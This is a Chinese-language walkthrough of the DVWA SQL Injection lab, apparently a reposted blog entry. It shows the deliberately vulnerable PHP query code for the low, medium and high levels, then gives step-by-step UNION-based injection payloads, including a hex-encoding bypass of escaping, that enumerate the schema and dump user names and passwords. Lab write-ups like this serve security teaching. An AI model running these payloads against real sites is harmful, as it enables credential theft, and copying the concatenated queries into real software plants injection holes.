本文為漏洞靶場(chǎng)DWVA第七個(gè)模塊SQL Injection詳細(xì)解答low等級(jí)代碼如下:
1 <?php 2 3 if( isset( $_REQUEST[ 'Submit' ] ) ) { 4 // Get input 5 $id = $_REQUEST[ 'id' ]; 6 7 // Check database 8 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 9 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 10 11 // Get results 12 while( $row = mysqli_fetch_assoc( $result ) ) { 13 // Get values 14 $first = $row["first_name"]; 15 $last = $row["last_name"]; 16 17 // Feedback for end user 18 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 19 } 20 21 mysqli_close($GLOBALS["___mysqli_ston"]); 22 } 23 24 ?>
如上圖,,代碼并沒(méi)有對(duì)輸入進(jìn)行過(guò)濾,,存在sql注入漏洞 下面開(kāi)始攻擊:1.判斷是否存在注入輸入 1 ---返回正確 輸入 1’ ---返回錯(cuò)誤 輸入 1 and 1=1 ---返回正確 輸入 1 and 1=2 ---返回正確 輸入 1‘ and ’1‘=’1 ---返回正確 輸入 1‘ and ’1‘=’1 ---返回正確 輸入 1‘ and ’1‘=’2 ---返回錯(cuò)誤(到了這里得出應(yīng)該存在字符型注入,,下面繼續(xù)驗(yàn)證) 輸入 1‘ or ’1‘=’1 ---返回正確(返回很多結(jié)果,證明存在字符型注入) 2.猜解查詢(xún)SQL語(yǔ)句中的字段數(shù)輸入 1‘ or 1=1 order by 1# ---返回正確 輸入 1‘ or 1=1 order by 2# ---返回正確 輸入 1‘ or 1=1 order by 3# ---返回錯(cuò)誤(返回結(jié)果---Unknown column '3' in 'order clause' 證明字段數(shù)為2) 3.確定字段順序輸入 1' or 1=1 union select 1,2# ---返回兩組結(jié)果(證明執(zhí)行的sql查詢(xún)語(yǔ)句為:select Frist name,Surname from 表 where ID='id') 4.確定數(shù)據(jù)庫(kù)輸入 1' or 1=1 union select database(),2# ---確定數(shù)據(jù)庫(kù)為 dwva 5.猜解表名輸入 1' or 1=1 union select 1,table_name from information_schema.tables where table_schema='dvwa' # ---確定表名為 guestbook 和 users 6.猜解列名輸入 1' or 1=1 union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' # ---爆出8個(gè)列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login 7.猜解數(shù)據(jù)名輸入 1' or 1=1 union select 1,concat(user,'-',password) from users # ---爆出所有數(shù)據(jù)
medium代碼如下:
1 <?php 2 3 if( isset( $_POST[ 'Submit' ] ) ) { 4 // Get input 5 $id = $_POST[ 'id' ]; 6 7 $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 8 9 $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 10 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); 11 12 // Get results 13 while( $row = mysqli_fetch_assoc( $result ) ) { 14 // Display values 15 $first = $row["first_name"]; 16 $last = $row["last_name"]; 17 18 // Feedback for end user 19 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 20 } 21 22 } 23 24 // This is used later on in the index.php page 25 // Setting it here so we can close the database connection in here like in the rest of the source scripts 26 $query = "SELECT COUNT(*) FROM users;"; 27 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 28 $number_of_rows = mysqli_fetch_row( $result )[0]; 29 30 mysqli_close($GLOBALS["___mysqli_ston"]); 31 ?> 中等難度中對(duì)特殊字符進(jìn)行了轉(zhuǎn)義,,并且將輸入框改為下拉菜單,,防止注入。 我們可以通過(guò)burpsuit抓包后修改提交數(shù)據(jù)來(lái)進(jìn)行惡意注入,。 下面開(kāi)始攻擊:1.判斷注入類(lèi)型選擇1,,提交,,抓包后更改為 (此操作后續(xù)簡(jiǎn)寫(xiě)為抓包) 1‘ and 1=1 ---返回錯(cuò)誤 1 and 1=1 ---返回正常(說(shuō)明注入類(lèi)型為數(shù)字型注入) 2.判斷字段數(shù)抓包 1 order by 1# ---返回正常 1 order by 2# ---返回正常 1 order by 3# ---返回錯(cuò)誤(字段數(shù)為2) 3.判斷字段順序抓包 1 union select 1,2# ---返回正常 4.猜解數(shù)據(jù)庫(kù)抓包 1 union select 1,database()# ---成功爆出數(shù)據(jù)庫(kù) dvwa 5.猜解表名抓包 1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’# ---返回錯(cuò)誤(此處的錯(cuò)誤是由于存在字符 ‘ ,可以轉(zhuǎn)換成16進(jìn)制然后提交) 1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127# ---返回正常(只能爆出admin表) 1 union select 1,table_name from information_schema.tables where table_schema=0x64767761# ---正常爆出(這里和上一句的區(qū)別在于轉(zhuǎn)換16進(jìn)制的時(shí)候,,上一句轉(zhuǎn)的是 ‘dvwa’ ,,這一句轉(zhuǎn)的是 dvwa ,轉(zhuǎn)換的時(shí)候沒(méi)有加‘,,需要注意?。?/span> 也可以這樣 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ---爆出表名guestbook,users 6.猜解列名抓包 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # ---爆出列名 7.猜解數(shù)據(jù)名抓包 1 union select concat(user),concat(password) from users# ---爆出所有數(shù)據(jù)名
high代碼如下: 1 <?php 2 3 if( isset( $_SESSION [ 'id' ] ) ) { 4 // Get input 5 $id = $_SESSION[ 'id' ]; 6 7 // Check database 8 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 9 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); 10 11 // Get results 12 while( $row = mysqli_fetch_assoc( $result ) ) { 13 // Get values 14 $first = $row["first_name"]; 15 $last = $row["last_name"]; 16 17 // Feedback for end user 18 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 19 } 20 21 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 22 } 23 24 ?>
high級(jí)別對(duì)提交參數(shù)加了一個(gè) limit 1 ,,依次來(lái)控制輸出參數(shù)為一個(gè),。 此處可以利用low中的注入破解,因?yàn)樽⑷脒^(guò)程中用到了#,,將后面的語(yǔ)句注釋掉了,。 1.判斷注入類(lèi)型1' or '1'='1 ---字符注入 2.判斷字段數(shù)1' or 1=1 order by 2# ---返回正確 1' or 1=1 order by 3# ---返回錯(cuò)誤 3.判斷字段順序1‘ or 1=1 union select 1.2# ---返回正常 4.猜解數(shù)據(jù)庫(kù)1‘ or 1=1 union select 1,database()# ---爆出數(shù)據(jù)庫(kù)名 5.猜解表名1' or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ---爆出表名 6.猜解列名1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # ----爆出列名 7.爆出數(shù)據(jù)1' or 1=1 union select group_concat(user),group_concat(password) from users # ---爆出數(shù)據(jù) |
|
來(lái)自: 小樣樣樣樣樣樣 > 《待分類(lèi)》